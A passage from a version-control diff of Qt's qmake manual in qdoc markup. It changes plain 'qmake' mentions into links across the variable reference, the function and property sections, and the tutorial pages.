     \section1 QMAKE_LIBS_QT_OPENGL
 
     This variable contains all the libraries needed to link against if
     OpenGL support is turned on. The
-    value of this variable is typically handled by \c qmake or
+    value of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_LIBS_QT_THREAD
 
     This variable contains all the libraries needed to link against if
     thread support is turned on.  The
-    value of this variable is typically handled by \c qmake or
+    value of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_LIBS_RT
@@ -2676,7 +2677,7 @@
 
     This variable contains the runtime library needed to link against when
     building an application.  The
-    value of this variable is typically handled by \c qmake or
+    value of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_LIBS_RTMT
@@ -2685,7 +2686,7 @@
 
     This variable contains the runtime library needed to link against when
     building a multi-threaded application.  The
-    value of this variable is typically handled by \c qmake or
+    value of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_LIBS_THREAD
@@ -2694,7 +2695,7 @@
 
     This variable contains all libraries that need to be linked against
     when building a multi-threaded application.  The
-    value of this variable is typically handled by \c qmake or
+    value of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_LIBS_WINDOWS
@@ -2702,7 +2703,7 @@
     \e {This is used on Windows only.}
 
     This variable contains all windows libraries.The value of this
-    variable is typically handled by \c qmake or
+    variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_LIBS_X11
@@ -2710,7 +2711,7 @@
     \e {This is used on Unix platforms only.}
 
     This variable contains all X11 libraries.The value of this
-    variable is typically handled by \c qmake or
+    variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_LIBS_X11SM
@@ -2718,20 +2719,20 @@
     \e {This is used on Unix platforms only.}
 
     This variable contains all X11 session management libraries.  The
-    value of this variable is typically handled by \c qmake or
+    value of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_LIB_FLAG
 
     This variable is not empty if the \c lib template is specified.  The
-    value of this variable is typically handled by \c qmake or
+    value of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_LINK_SHLIB_CMD
 
     This variable contains the command to execute when creating a
     shared library. The
-    value of this variable is typically handled by \c qmake or
+    value of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_LN_SHLIB
@@ -2761,7 +2762,8 @@
 
     This variable determines the name of the project when generating project
     files for IDEs. The default value is the target name. The value of this
-    variable is typically handled by \c qmake and rarely needs to be modified.
+    variable is typically handled by \l {qmake}{ \c qmake} and rarely needs
+    to be modified.
 
     \section1 QMAKE_MAC_SDK
 
@@ -2781,26 +2783,26 @@
     \section1 QMAKE_MAKEFILE
 
     This variable contains the name of the Makefile to create. The
-    value of this variable is typically handled by \c qmake or
+    value of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_MOC_SRC
 
     This variable contains the names of all moc source files to
     generate and include in the project. The value of this variable is
-    typically handled by \c qmake or
+    typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_QMAKE
 
     This variable contains the location of qmake if it is not in the path.
-    The value of this variable is typically handled by \c qmake or
+    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_QT_DLL
 
     This variable is not empty if Qt was built as a dll.  The
-    value of this variable is typically handled by \c qmake or
+    value of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_RESOURCE_FLAGS
@@ -2830,37 +2832,37 @@
     \section1 QMAKE_RUN_CC
 
     This variable specifies the individual rule needed to build an object.
-    The value of this variable is typically handled by \c qmake or
+    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_RUN_CC_IMP
 
     This variable specifies the individual rule needed to build an object.
-    The value of this variable is typically handled by \c qmake or
+    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_RUN_CXX
 
     This variable specifies the individual rule needed to build an object.
-    The value of this variable is typically handled by \c qmake or
+    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_RUN_CXX_IMP
 
     This variable specifies the individual rule needed to build an object.
-    The value of this variable is typically handled by \c qmake or
+    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_TARGET
 
     This variable contains the name of the project target.  The value of
-    this variable is typically handled by \c qmake or
+    this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 QMAKE_UIC
 
     This variable contains the location of uic if it is not in the path.
-    The value of this variable is typically handled by \c qmake or
+    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     It can be used to specify arguments to uic as well, such as additional plugin
@@ -2933,7 +2935,7 @@
     \section1 RC_FILE
 
     This variable contains the name of the resource file for the application.
-    The value of this variable is typically handled by \c qmake or
+    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \target RCC_DIR
@@ -2966,7 +2968,7 @@
     \section1 RES_FILE
 
     This variable contains the name of the resource file for the application.
-    The value of this variable is typically handled by \c qmake or
+    The value of this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \target RSS_RULES
@@ -3057,10 +3059,10 @@
 
     \section1 SRCMOC
 
-    This variable is set by \c qmake if files can be found that
+    This variable is set by \l {qmake}{ \c qmake}if files can be found that
     contain the Q_OBJECT macro.  \c SRCMOC contains the
     name of all the generated moc files. The value of this variable
-    is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
+    is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
     modified.
 
     \target SUBDIRS
@@ -3076,7 +3078,7 @@
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 50
 
     It is essential that the project file in each subdirectory has the same
-    name as the subdirectory itself, so that \c qmake can find it.
+    name as the subdirectory itself, so that \l {qmake}{ \c qmake}can find it.
     For example, if the subdirectory is called \c myapp then the project file
     in that directory should be called \c myapp.pro.
 
@@ -3208,19 +3210,19 @@
     \section1 TARGET_EXT
 
     This variable specifies the target's extension.  The value of this variable
-    is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
+    is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
     modified.
 
     \section1 TARGET_x
 
     This variable specifies the target's extension with a major version number.  The value of this variable
-    is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
+    is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
     modified.
 
     \section1 TARGET_x.y.z
 
     This variable specifies the target's extension with version number.  The value of this variable
-    is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
+    is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
     modified.
 
     \target TEMPLATE
@@ -3268,14 +3270,14 @@
 
     This variable contains a list of the generated implementation files by UIC.
     The value of this variable
-    is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
+    is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
     modified.
 
     \section1 UICOBJECTS
 
     This variable is generated from the UICIMPLS variable.  The extension of each
     file will have been replaced by .o (Unix) or .obj (Win32).  The value of this variable is
-    typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and
+    typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and
     rarely needs to be modified.
 
     \target UI_DIR
@@ -3337,8 +3339,8 @@
 
     \section1 VPATH
 
-    This variable tells \c qmake where to search for files it cannot
-    open. With this you may tell \c qmake where it may look for things
+    This variable tells \l {qmake}{ \c qmake}where to search for files it cannot
+    open. With this you may tell \l {qmake}{ \c qmake}where it may look for things
     like SOURCES, and if it finds an entry in SOURCES that cannot be
     opened it will look through the entire VPATH list to see if it can
     find the file on its own.
@@ -3348,13 +3350,13 @@
     \section1 YACCIMPLS
 
     This variable contains a list of yacc source files. The value of
-    this variable is typically handled by \c qmake or
+    this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \section1 YACCOBJECTS
 
     This variable contains a list of yacc object files. The value of
-    this variable is typically handled by \c qmake or
+    this variable is typically handled by \l {qmake}{ \c qmake}or
      \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
 
     \target YACCSOURCES
@@ -3395,7 +3397,7 @@
     \previouspage qmake Variable Reference
     \nextpage Configuring qmake's Environment
 
-    \c qmake provides built-in functions to allow the contents of
+    \l {qmake}{ \c qmake}provides built-in functions to allow the contents of
     variables to be processed, and to enable tests to be performed
     during the configuration process. Functions that process the
     contents of variables typically return values that can be assigned
@@ -3479,7 +3481,7 @@
 
     \section1 error(string)
 
-    This function never returns a value. \c qmake displays the given
+    This function never returns a value. \l {qmake}{ \c qmake}displays the given
     \e string to the user, and exits. This function should only be used
     for unrecoverable errors.
 
@@ -3555,7 +3557,7 @@
     \section1 infile(filename, var, val)
     [Conditional]
 
-    Succeeds if the file \e filename (when parsed by \c qmake itself)
+    Succeeds if the file \e filename (when parsed by \l {qmake}{ \c qmake}itself)
     contains the variable \e var with a value of \e val; otherwise fails.
     If you do not specify a third argument (\e val), the function will
     only test whether \e var has been declared in the file.
@@ -3677,7 +3679,7 @@
     \target Properties
     \section1 Properties
 
-    \c qmake has a system of persistent information, this allows you to
+    \l {qmake}{ \c qmake}has a system of persistent information, this allows you to
     \c set a variable in qmake once, and each time qmake is invoked this
     value can be queried. Use the following to set a property in qmake:
 
@@ -3699,19 +3701,19 @@
     version of \c qmake, and newer versions will retrieve this value. However,
     if you set \c VARIABLE for a newer version of \c qmake, the older version
     will not use this value. You can however query a specific version of a
-    variable if you prefix that version of \c qmake to \c VARIABLE, as in
+    variable if you prefix that version of \l {qmake}{ \c qmake}to \c VARIABLE, as in
     the following example:
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 76
 
-    \c qmake also has the notion of \c builtin properties, for example you can
-    query the installation of Qt for this version of \c qmake with the
+    \l {qmake}{ \c qmake}also has the notion of \c builtin properties, for example you can
+    query the installation of Qt for this version of \l {qmake}{ \c qmake}with the
     \c QT_INSTALL_PREFIX property:
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 77
 
     These built-in properties cannot have a version prefixed to them as
-    they are not versioned, and each version of \c qmake will have its own
+    they are not versioned, and each version of \l {qmake}{ \c qmake}will have its own
     built-in set of these values. The list below outlines the built-in
     properties:
 
@@ -3729,7 +3731,7 @@
     \target QMAKESPEC
     \section1 QMAKESPEC
 
-    \c qmake requires a platform and compiler description file which
+    \l {qmake}{ \c qmake}requires a platform and compiler description file which
     contains many default values used to generate appropriate Makefiles.
     The standard Qt distribution comes with many of these files, located
     in the \c mkspecs subdirectory of the Qt installation.
@@ -3738,8 +3740,8 @@
 
     \list
     \o A complete path to a directory containing a \c{qmake.conf} file.
-       In this case \c qmake will open the \c{qmake.conf} file from within that
-       directory.  If the file does not exist, \c qmake will exit with an
+       In this case \l {qmake}{ \c qmake}will open the \c{qmake.conf} file from within that
+       directory.  If the file does not exist, \l {qmake}{ \c qmake}will exit with an
        error.
     \o The name of a platform-compiler combination. In this case, \c qmake
        will search in the directory specified by the \c mkspecs subdirectory
@@ -3755,14 +3757,14 @@
 
     It is common on Unix to also use the build tool to install applications
     and libraries; for example, by invoking \c{make install}. For this reason,
-    \c qmake has the concept of an install set, an object which contains
+    \l {qmake}{ \c qmake}has the concept of an install set, an object which contains
     instructions about the way part of a project is to be installed.
     For example, a collection of documentation files can be described in the
     following way:
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 79
 
-    The \c path member informs \c qmake that the files should be installed in
+    The \c path member informs \l {qmake}{ \c qmake}that the files should be installed in
     \c /usr/local/program/doc (the path member), and the \c files member
     specifies the files that should be copied to the installation directory.
     In this case, everything in the \c docs directory will be coped to
@@ -3773,10 +3775,10 @@
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 80
 
-    \c qmake will ensure that the specified files are copied to the installation
+    \l {qmake}{ \c qmake}will ensure that the specified files are copied to the installation
     directory. If you require greater control over this process, you can also
     provide a definition for the \c extra member of the object. For example,
-    the following line tells \c qmake to execute a series of commands for this
+    the following line tells \l {qmake}{ \c qmake}to execute a series of commands for this
     install set:
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 81
@@ -3791,21 +3793,21 @@
     in the other members of the object are performed.
 
     If you append a built-in install set to the \c INSTALLS variable and do
-    not specify \c files or \c extra members, \c qmake will decide what needs to
+    not specify \c files or \c extra members, \l {qmake}{ \c qmake}will decide what needs to
     be copied for you. Currently, the only supported built-in install set is
     \c target:
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 82
 
-    In the above lines, \c qmake knows what needs to be copied, and will handle
+    In the above lines, \l {qmake}{ \c qmake}knows what needs to be copied, and will handle
     the installation process automatically.
 
     \target cache
     \section1 Cache File
 
-    The cache file is a special file \c qmake reads to find settings not specified
+    The cache file is a special file \l {qmake}{ \c qmake}reads to find settings not specified
     in the \c qmake.conf file, project files, or at the command line. If
-    \c -nocache is not specified when \c qmake is run, it will try to find a file
+    \c -nocache is not specified when \l {qmake}{ \c qmake}is run, it will try to find a file
     called \c{.qmake.cache} in parent directories of the current directory. If
     it fails to find this file, it will silently ignore this step of processing.
 
@@ -3815,7 +3817,7 @@
     \target LibDepend
     \section1 Library Dependencies
 
-    Often when linking against a library, \c qmake relies on the underlying
+    Often when linking against a library, \l {qmake}{ \c qmake}relies on the underlying
     platform to know what other libraries this library links against, and
     lets the platform pull them in. In many cases, however, this is not
     sufficent. For example, when statically linking a library, no other
@@ -3827,19 +3829,19 @@
     this behavior must be explicitly enabled by following two steps.
 
     The first step is to enable dependency tracking in the library itself.
-    To do this you must tell \c qmake to save information about the library:
+    To do this you must tell \l {qmake}{ \c qmake}to save information about the library:
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 83
 
     This is only relevant to the \c lib template, and will be ignored for
-    all others. When this option is enabled, \c qmake will create a file
+    all others. When this option is enabled, \l {qmake}{ \c qmake}will create a file
     ending in .prl which will save some meta-information about the
     library. This metafile is just like an ordinary project file, but only
     contains internal variable declarations. You are free to view this file
-    and, if it is deleted, \c qmake will know to recreate it when necessary,
+    and, if it is deleted, \l {qmake}{ \c qmake}will know to recreate it when necessary,
     either when the project file is later read, or if a dependent library
     (described below) has changed. When installing this library, by
-    specifying it as a target in an \c INSTALLS declaration, \c qmake will
+    specifying it as a target in an \c INSTALLS declaration, \l {qmake}{ \c qmake}will
     automatically copy the .prl file to the installation path.
 
     The second step in this process is to enable reading of this meta
@@ -3847,11 +3849,11 @@
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 84
 
-    When this is enabled, \c qmake will process all libraries linked to
-    by the application and find their meta-information. \c qmake will use
+    When this is enabled, \l {qmake}{ \c qmake}will process all libraries linked to
+    by the application and find their meta-information. \l {qmake}{ \c qmake}will use
     this to determine the relevant linking information, specifically adding
     values to the application project file's list of \c DEFINES as well as
-    \c LIBS. Once \c qmake has processed this file, it will then look through
+    \c LIBS. Once \l {qmake}{ \c qmake}has processed this file, it will then look through
     the newly introduced libraries in the \c LIBS variable, and find their
     dependent .prl files, continuing until all libraries have been resolved.
     At this point, the Makefile is created as usual, and the libraries are
@@ -3865,9 +3867,9 @@
     \target Extensions
     \section1 File Extensions
 
-    Under normal circumstances \c qmake will try to use appropriate file extensions
+    Under normal circumstances \l {qmake}{ \c qmake}will try to use appropriate file extensions
     for your platform. However, it is sometimes necessary to override the default
-    choices for each platform and explicitly define file extensions for \c qmake to use.
+    choices for each platform and explicitly define file extensions for \l {qmake}{ \c qmake}to use.
     This is achieved by redefining certain built-in variables; for example the extension
     used for \l moc files can be redefined with the following assignment in a project
     file:
@@ -3893,19 +3895,19 @@
     accept a list of values:
 
     \list
-    \o QMAKE_EXT_CPP - Causes \c qmake to interpret all files with these suffixes as
+    \o QMAKE_EXT_CPP - Causes \l {qmake}{ \c qmake}to interpret all files with these suffixes as
                        C++ source files.
-    \o QMAKE_EXT_H - Causes \c qmake to interpret all files with these suffixes as
+    \o QMAKE_EXT_H - Causes \l {qmake}{ \c qmake}to interpret all files with these suffixes as
                      C and C++ header files.
     \endlist
 
     \target Customizing
     \section1 Customizing Makefile Output
 
-    \c qmake tries to do everything expected of a cross-platform build tool.
+    \l {qmake}{ \c qmake}tries to do everything expected of a cross-platform build tool.
     This is often less than ideal when you really need to run special
     platform-dependent commands. This can be achieved with specific instructions
-    to the different \c qmake backends.
+    to the different \l {qmake}{ \c qmake}backends.
 
     Customization of the Makefile output is performed through an object-style
     API as found in other places in \c qmake. Objects are defined automatically
@@ -3913,14 +3915,14 @@
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 86
 
-    The definitions above define a \c qmake target called \c mytarget, containing
+    The definitions above define a \l {qmake}{ \c qmake}target called \c mytarget, containing
     a Makefile target called \c{.buildfile} which in turn is generated with
     the \c touch command. Finally, the \c{.depends} member specifies that
     \c mytarget depends on \c mytarget2, another target that is defined afterwards.
     \c mytarget2 is a dummy target; it is only defined to echo some text to
     the console.
 
-    The final step is to instruct \c qmake that this object is a target to be built:
+    The final step is to instruct \l {qmake}{ \c qmake}that this object is a target to be built:
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 87
 
@@ -3983,7 +3985,7 @@
     \c NEW_HEADERS variable (from the \c input member), and the result is written
     to the file defined by the \c output member; this file is added to the
     other source files in the project.
-    Additionally, \c qmake will execute \c depend_command to generate dependency
+    Additionally, \l {qmake}{ \c qmake}will execute \c depend_command to generate dependency
     information, and place this information in the project as well.
 
     These commands can easily be placed into a cache file, allowing subsequent
@@ -4107,9 +4109,9 @@
     \previouspage qmake Platform Notes
     \nextpage Using Precompiled Headers
 
-    Many \c qmake project files simply describe the sources and header files used
+    Many \l {qmake}{ \c qmake}project files simply describe the sources and header files used
     by the project, using a list of \c{name = value} and \c{name += value}
-    definitions. \c qmake also provides other operators, functions, and scopes
+    definitions. \l {qmake}{ \c qmake}also provides other operators, functions, and scopes
     that can be used to process the information supplied in variable declarations.
     These advanced features allow Makefiles to be generated for multiple platforms
     from a single project file.
@@ -4121,7 +4123,7 @@
     In many project files, the assignment (\c{=}) and append (\c{+=}) operators can
     be used to include all the information about a project. The typical pattern of
     use is to assign a list of values to a variable, and append more values
-    depending on the result of various tests. Since \c qmake defines certain
+    depending on the result of various tests. Since \l {qmake}{ \c qmake}defines certain
     variables using default values, it is sometimes necessary to use the removal
     (\c{-=}) operator to filter out values that are not required. The following
     operators can be used to manipulate the contents of variables.
@@ -4197,8 +4199,8 @@
     \snippet doc/src/snippets/qmake/scopes.pro 0
 
     The above code will add the \c paintwidget_win.cpp file to the sources listed
-    in the generated Makefile if \c qmake is used on a Windows platform.
-    If \c qmake is used on a platform other than Windows, the define will be
+    in the generated Makefile if \l {qmake}{ \c qmake}is used on a Windows platform.
+    If \l {qmake}{ \c qmake}is used on a platform other than Windows, the define will be
     ignored.
 
     The conditions used in a given scope can also be negated to provide an
@@ -4293,9 +4295,9 @@
     \section1 Variables
 
     Many of the variables used in project files are special variables that
-    \c qmake uses when generating Makefiles, such as \c DEFINES, \c SOURCES,
+    \l {qmake}{ \c qmake}uses when generating Makefiles, such as \c DEFINES, \c SOURCES,
     and \c HEADERS. It is possible for you to create variables for your own
-    use; \c qmake creates new variables with a given name when it encounters
+    use; \l {qmake}{ \c qmake}creates new variables with a given name when it encounters
     an assignment to that name. For example:
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 97
@@ -4322,10 +4324,10 @@
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 100
 
     Variables can be used to store the contents of environment variables.
-    These can be evaluated at the time that \c qmake is run, or included
+    These can be evaluated at the time that \l {qmake}{ \c qmake}is run, or included
     in the generated Makefile for evaluation when the project is built.
 
-    To obtain the contents of an environment value when \c qmake is run,
+    To obtain the contents of an environment value when \l {qmake}{ \c qmake}is run,
     use the \c $$(...) operator:
 
     \snippet doc/src/snippets/qmake/environment.pro 0
@@ -4359,7 +4361,7 @@
     \target VariableProcessingFunctions
     \section1 Variable Processing Functions
 
-    \c qmake provides a selection of built-in functions to allow the
+    \l {qmake}{ \c qmake}provides a selection of built-in functions to allow the
     contents of variables to be processed. These functions process the
     arguments supplied to them and return a value, or list of values, as
     a result. In order to assign a result to a variable, it is necessary
@@ -4387,7 +4389,7 @@
     \target ConditionalFunctions
     \section1 Conditional Functions
 
-    \c qmake provides built-in functions that can be used as conditions
+    \l {qmake}{ \c qmake}provides built-in functions that can be used as conditions
     when writing scopes. These functions do not return a value, but
     instead indicate "success" or "failure":
 
@@ -4404,12 +4406,12 @@
 
     \section1 Adding New Configuration Features
 
-    \c qmake lets you create your own \e features that can be included in
+    \l {qmake}{ \c qmake}lets you create your own \e features that can be included in
     project files by adding their names to the list of values specified by
     the \c CONFIG variable. Features are collections of custom functions and
     definitions in \c{.prf} files that can reside in one of many standard
     directories. The locations of these directories are defined in a number
-    of places, and \c qmake checks each of them in the following order when
+    of places, and \l {qmake}{ \c qmake}checks each of them in the following order when
     it looks for \c{.prf} files:
 
     \list 1
@@ -4446,7 +4448,7 @@
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 103
 
-    With this addition to the \c CONFIG variable, \c qmake will search the
+    With this addition to the \c CONFIG variable, \l {qmake}{ \c qmake}will search the
     locations listed above for the \c myfeatures.prf file after it has
     finished parsing your project file. On Unix systems, it will look for
     the following file:
@@ -4489,7 +4491,7 @@
     specified file. Each subsequent compilation is faster because the
     stable code does not need to be recompiled.
 
-    \c qmake supports the use of precompiled headers (PCH) on some
+    \l {qmake}{ \c qmake}supports the use of precompiled headers (PCH) on some
     platforms and build environments, including:
     \list
     \o Windows
@@ -4535,9 +4537,9 @@
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 105
 
-    \c qmake will handle the rest, to ensure the creation and use of the
+    \l {qmake}{ \c qmake}will handle the rest, to ensure the creation and use of the
     precompiled header file. You do not need to include the precompiled
-    header file in \c HEADERS, as \c qmake will do this if the configuration
+    header file in \c HEADERS, as \l {qmake}{ \c qmake}will do this if the configuration
     supports PCH.
 
     All platforms that support precompiled headers have the configuration
@@ -4603,7 +4605,7 @@
     \nextpage qmake Common Projects
 
     This tutorial teaches you how to use \c qmake.  We recommend that
-    you read the \c qmake user guide after completing this tutorial.
+    you read the \l {qmake}{ \c qmake}user guide after completing this tutorial.
 
     \section1 Starting off Simple
 
@@ -4621,7 +4623,7 @@
     the application is that it's written in Qt.  First, using your favorite
     plain text editor, create a file called \c hello.pro in
     \c{examples/qmake/tutorial}. The first thing you need to do is add the
-    lines that tell \c qmake about the source and header files that are part
+    lines that tell \l {qmake}{ \c qmake}about the source and header files that are part
     of your development project.
 
     We'll add the source files to the project file first.  To do this you
@@ -4661,7 +4663,7 @@
 
     The final step is to set the \l{qmake Variable Reference#CONFIG}{CONFIG}
     variable. Since this is a Qt application, we need to put \c qt on the
-    \c CONFIG line so that \c qmake will add the relevant libraries to be
+    \c CONFIG line so that \l {qmake}{ \c qmake}will add the relevant libraries to be
     linked against and ensure that build lines for \c moc and \c uic are
     included in the generated Makefile.
 
@@ -4669,14 +4671,14 @@
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 113
 
-    You can now use \c qmake to generate a Makefile for your application.
+    You can now use \l {qmake}{ \c qmake}to generate a Makefile for your application.
     On the command line, in your project's directory, type the following:
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 114
 
     Then type \c make or \c nmake depending on the compiler you use.
 
-    For Visual Studio users, \c qmake can also generate \c .dsp or
+    For Visual Studio users, \l {qmake}{ \c qmake}can also generate \c .dsp or
     \c .vcproj files, for example:
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 115
@@ -4693,7 +4695,7 @@
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 116
 
-    Use \c qmake as before to generate a Makefile and you will be able to
+    Use \l {qmake}{ \c qmake}as before to generate a Makefile and you will be able to
     obtain useful information about your application when running it in
     a debugging environment.
 
@@ -4706,15 +4708,15 @@
     hellounix.cpp.  We can't just add these to the \c SOURCES
     variable since this will put both files in the Makefile. So, what we
     need to do here is to use a scope which will be processed depending on
-    which platform \c qmake is run on.
+    which platform \l {qmake}{ \c qmake}is run on.
 
     A simple scope that will add in the platform-dependent file for
     Windows looks like this:
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 117
 
-    So if \c qmake is run on Windows, it will add \c hellowin.cpp to the
-    list of source files.  If \c qmake is run on any other platform, it
+    So if \l {qmake}{ \c qmake}is run on Windows, it will add \c hellowin.cpp to the
+    list of source files.  If \l {qmake}{ \c qmake}is run on any other platform, it
     will simply ignore it. Now all that is left to be done is to create a
     scope for the Unix-specific file.
 
@@ -4723,13 +4725,13 @@
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 118
 
-    Use \c qmake as before to generate a Makefile.
+    Use \l {qmake}{ \c qmake}as before to generate a Makefile.
 
     \section1 Stopping qmake If a File Doesn't Exist
 
     You may not want to create a Makefile if a certain file doesn't exist.
     We can check if a file exists by using the exists() function.  We can
-    stop \c qmake from processing by using the error() function.  This
+    stop \l {qmake}{ \c qmake}from processing by using the error() function.  This
     works in the same way as scopes do.  Simply replace the scope condition
     with the function. A check for a \c main.cpp file looks like this:
 
@@ -4741,8 +4743,8 @@
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 120
 
-    Use \c qmake as before to generate a makefile.  If you rename \c
-    main.cpp temporarily, you will see the message and \c qmake will stop
+    Use \l {qmake}{ \c qmake}as before to generate a makefile.  If you rename \c
+    main.cpp temporarily, you will see the message and \l {qmake}{ \c qmake}will stop
     processing.
 
     \section1 Checking for More than One Condition
@@ -4776,7 +4778,7 @@
     \previouspage qmake Tutorial
     \nextpage Using qmake
 
-    This chapter describes how to set up \c qmake project files for three
+    This chapter describes how to set up \l {qmake}{ \c qmake}project files for three
     common project types that are based on Qt. Although all kinds of
     projects use many of the same variables, each of them use project-specific
     variables to customize output files.
@@ -4795,7 +4797,7 @@
 
     \section2 The app Template
 
-    The \c app template tells \c qmake to generate a Makefile that will build
+    The \c app template tells \l {qmake}{ \c qmake}to generate a Makefile that will build
     an application. With this template, the type of application can be specified
     by adding one of the following options to the \c CONFIG variable definition:
 
@@ -4806,7 +4808,7 @@
                        application.
     \endtable
 
-    When using this template the following \c qmake system variables are recognized.
+    When using this template the following \l {qmake}{ \c qmake}system variables are recognized.
     You should use these in your .pro file to specify information about your
     application.
 
@@ -4832,7 +4834,7 @@
 
     You only need to use the system variables that you have values for,
     for instance, if you do not have any extra INCLUDEPATHs then you do not
-    need to specify any, \c qmake will add in the default ones needed.
+    need to specify any, \l {qmake}{ \c qmake}will add in the default ones needed.
     For instance, an example project file might look like this:
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 123
@@ -4848,7 +4850,7 @@
 
     \section2 The lib Template
 
-    The \c lib template tells \c qmake to generate a Makefile that will
+    The \c lib template tells \l {qmake}{ \c qmake}to generate a Makefile that will
     build a library.  When using this template, in addition to the system variables
     mentioned above for the \c app template the \c VERSION variable is
     supported.  You should use these in your .pro file to specify
@@ -4879,7 +4881,7 @@
     \section1 Building a Plugin
 
     Plugins are built using the \c lib template, as described in the previous
-    section. This tells \c qmake to generate a Makefile for the project that will
+    section. This tells \l {qmake}{ \c qmake}to generate a Makefile for the project that will
     build a plugin in a suitable form for each platform, usually in the form of a
     library. As with ordinary libraries, the \c VERSION variable is used to specify
     information about the plugin.
@@ -4917,7 +4919,7 @@
     ensure that the resulting targets have different names. Providing different
     names for targets ensures that one will not overwrite the other.
 
-    When \c qmake processes the project file, it will generate a Makefile rule
+    When \l {qmake}{ \c qmake}processes the project file, it will generate a Makefile rule
     to allow the project to be built in both modes. This can be invoked in the
     following way:
 
diff --git a/doc/src/development/qtestlib.qdoc b/doc/src/development/qtestlib.qdoc
index 34429ae..8924bdb 100644
